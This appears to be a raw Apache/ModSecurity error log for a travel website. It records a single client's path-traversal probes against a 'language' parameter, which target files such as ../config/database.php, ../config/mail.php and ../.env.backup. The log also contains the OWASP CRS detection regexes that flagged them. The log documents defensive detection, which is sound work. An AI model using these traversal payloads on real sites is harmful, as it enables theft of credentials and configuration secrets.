[Fri Jul 17 08:55:08.001665 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglO1pLmPpy2r_2CxfLwAAAA8"]
[Fri Jul 17 08:55:08.001710 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglO1pLmPpy2r_2CxfLwAAAA8"]
[Fri Jul 17 08:55:08.002901 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglO1pLmPpy2r_2CxfLwAAAA8"]
[Fri Jul 17 08:55:08.003049 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:08.003356 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglO1pLmPpy2r_2CxfLwAAAA8"]
[Fri Jul 17 08:55:08.009807 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglCvekYYQ8uns4MwlNAAAAA0"]
[Fri Jul 17 08:55:08.009851 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglCvekYYQ8uns4MwlNAAAAA0"]
[Fri Jul 17 08:55:08.011022 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglCvekYYQ8uns4MwlNAAAAA0"]
[Fri Jul 17 08:55:08.011163 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:08.011444 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglCvekYYQ8uns4MwlNAAAAA0"]
[Fri Jul 17 08:55:08.016894 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglIe39YUk0SgV8AU6hwAAABE"]
[Fri Jul 17 08:55:08.016939 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglIe39YUk0SgV8AU6hwAAABE"]
[Fri Jul 17 08:55:08.017002 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:language: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglIe39YUk0SgV8AU6hwAAABE"]
[Fri Jul 17 08:55:08.018174 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglIe39YUk0SgV8AU6hwAAABE"]
[Fri Jul 17 08:55:08.018296 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:08.018587 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglIe39YUk0SgV8AU6hwAAABE"]
[Fri Jul 17 08:55:08.024198 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?language=..%2F..%2Fconfig%2Fdatabase.php&sid=GnlzvuIHsYWxtt94W-Ie5hlbp4fT95fyF1yArEL-E-tfmC_O1Me3PV5dfwbeLn9bW9bO6A1w5xxHMgTE1yVhNVAwYb8hgIMBAS_XCdK0gZ1rLoVryyIKuG9HCQEgq84pX5qWQzmo-5VuigpLTPqrfyupTJoIg9G7xxizNtkU7k-pWcwuKvs93U1FTt7LaPoV2D72yfE4kOqr0tgrOkmznl90-tCfR7aQyyv3qVjfxFBmXHvtMuj_nIrHcwXWJmKBADu7gI0cFGPuTc3yEMK67RbK&ref=PLEUPQEXVIK56T2FJOCGMWAO7BUTML7E5JAEHPFXNATROWDUHQX7Y4PRO7JPP3ULNMKGNPMLW2A6OPIYLLRLCVRJSQF2QFEDU5JPCWO6B44VFGBOBSP5LCVKC7YL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglF1_86A5R6msWNfUbwAAABI"]
[Fri Jul 17 08:55:08.024248 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglF1_86A5R6msWNfUbwAAABI"]
[Fri Jul 17 08:55:08.024294 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../config/database.php&sid=GnlzvuIHsYWxtt94W-Ie5hlbp4fT95fyF1yArEL-E-tfmC_O1Me3PV5dfwbeLn9bW9bO6A1w5xxHMgTE1yVhNVAwYb8hgIMBAS_XCdK0gZ1rLoVryyIKuG9HCQEgq84pX5qWQzmo-5VuigpLTPqrfyupTJoIg9G7xxizNtkU7k-pWcwuKvs93U1FTt7LaPoV2D72yfE4kOqr0tgrOkmznl90-tCfR7aQyyv3qVjfxFBmXHvtMuj_nIrHcwXWJmKBADu7gI0cFGPuTc3yEMK67RbK&ref=PLEUPQEXVIK56T2FJOCGMWAO7BUTML7E5JAEHPFXNATROWDUHQX7Y4PRO7JPP3ULNMKGNPMLW2A6OPIYLLRLCVRJSQF2QFEDU5JPCWO6B44VFGBOBSP5LCVKC7YLEJML2FIYR5AQLA..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglF1_86A5R6msWNfUbwAAABI"]
[Fri Jul 17 08:55:08.024334 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../config/database.php&sid=gnlzvuihsywxtt94w-ie5hlbp4ft95fyf1yarel-e-tfmc_o1me3pv5dfwbeln9bw9bo6a1w5xxhmgte1yvhnvawyb8hgimbas_xcdk0gz1rlovryyikug9hcqegq84px5qwqzmo-5vuigpltpqrfyuptjoig9g7xxizntku7k-pwcwukvs93u1ftt7lapov2d72yfe4koqr0tgrokmznl90-tcfr7aqyyv3qvjfxfbmxhvtmuj_nirhcwxwjmkbadu7gi0cfgputc3yemk67rbk&ref=pleupqexvik56t2fjocgmwao7butml7e5jaehpfxnatrowduhqx7y4pro7jpp3ulnmkgnpmlw2a6opiyllrlcvrjsqf2qfedu5jpcwo6b44vfgbobsp5lcvkc7ylejml2fiyr5aqla..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglF1_86A5R6msWNfUbwAAABI"]
[Fri Jul 17 08:55:08.024354 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglF1_86A5R6msWNfUbwAAABI"]
[Fri Jul 17 08:55:08.024374 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglF1_86A5R6msWNfUbwAAABI"]
[Fri Jul 17 08:55:08.024483 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:language: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglF1_86A5R6msWNfUbwAAABI"]
[Fri Jul 17 08:55:08.025674 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglF1_86A5R6msWNfUbwAAABI"]
[Fri Jul 17 08:55:08.025797 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:08.026104 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglF1_86A5R6msWNfUbwAAABI"]
[Fri Jul 17 08:55:08.037469 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?language=..%2F..%2Fconfig%2Fmail.php&anything=UXq617zHd0giE6q8Zm6UDxlu9Xwf1K1JsxaR3UPtaGbgbnYMmqaYms_m3yUqW__ax5x0WTPqRqS-Bl3D5oP_kLUpP5KYUlLQKbyQTA2qXfF2vktLMLiG5B5WQ1J_NuNr9BwMcZ1_4BBAUo8p6mCesGI9NQ66AT0BJOMLPoSq09RT_VEbmFPrQCNPB2XhOadbZh1IEpaRGZPw1jcsvuLWZtRJPVPZwwv4YIuAz0pZfeGIJtVmCg-w6Kxh98Z5o7HKYEcJP1LLuuq8Iik7UVdXzAmJ&extra=UN4D4LKW5B66HCTIYWN4M3BPYNXHYXGAFQ2YFQNAG6N75FOAPFP6VOJ3DMPV7DDXDRBZ2CN3QUDVXVVFAFMXA6LIN4VEKT7SBYIOC3H45KVXIXIJLZ254FNMJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglFh1WDijTxd1xw5MIQAAAAc"]
[Fri Jul 17 08:55:08.037537 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglFh1WDijTxd1xw5MIQAAAAc"]
[Fri Jul 17 08:55:08.037611 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../config/mail.php&anything=UXq617zHd0giE6q8Zm6UDxlu9Xwf1K1JsxaR3UPtaGbgbnYMmqaYms_m3yUqW__ax5x0WTPqRqS-Bl3D5oP_kLUpP5KYUlLQKbyQTA2qXfF2vktLMLiG5B5WQ1J_NuNr9BwMcZ1_4BBAUo8p6mCesGI9NQ66AT0BJOMLPoSq09RT_VEbmFPrQCNPB2XhOadbZh1IEpaRGZPw1jcsvuLWZtRJPVPZwwv4YIuAz0pZfeGIJtVmCg-w6Kxh98Z5o7HKYEcJP1LLuuq8Iik7UVdXzAmJ&extra=UN4D4LKW5B66HCTIYWN4M3BPYNXHYXGAFQ2YFQNAG6N75FOAPFP6VOJ3DMPV7DDXDRBZ2CN3QUDVXVVFAFMXA6LIN4VEKT7SBYIOC3H45KVXIXIJLZ254FNMJRQDMZ4AOY4GMOP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglFh1WDijTxd1xw5MIQAAAAc"]
[Fri Jul 17 08:55:08.037700 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../config/mail.php&anything=uxq617zhd0gie6q8zm6udxlu9xwf1k1jsxar3uptagbgbnymmqayms_m3yuqw__ax5x0wtpqrqs-bl3d5op_klupp5kyullqkbyqta2qxff2vktlmlig5b5wq1j_nunr9bwmcz1_4bbauo8p6mcesgi9nq66at0bjomlposq09rt_vebmfprqcnpb2xhoadbzh1iepargzpw1jcsvulwztrjpvpzwwv4yiuaz0pzfegijtvmcg-w6kxh98z5o7hkyecjp1lluuq8iik7uvdxzamj&extra=un4d4lkw5b66hctiywn4m3bpynxhyxgafq2yfqnag6n75foapfp6voj3dmpv7ddxdrbz2cn3qudvxvvfafmxa6lin4vekt7sbyioc3h45kvxixijlz254fnmjrqdmz4aoy4gmop..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglFh1WDijTxd1xw5MIQAAAAc"]
[Fri Jul 17 08:55:08.037740 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglFh1WDijTxd1xw5MIQAAAAc"]
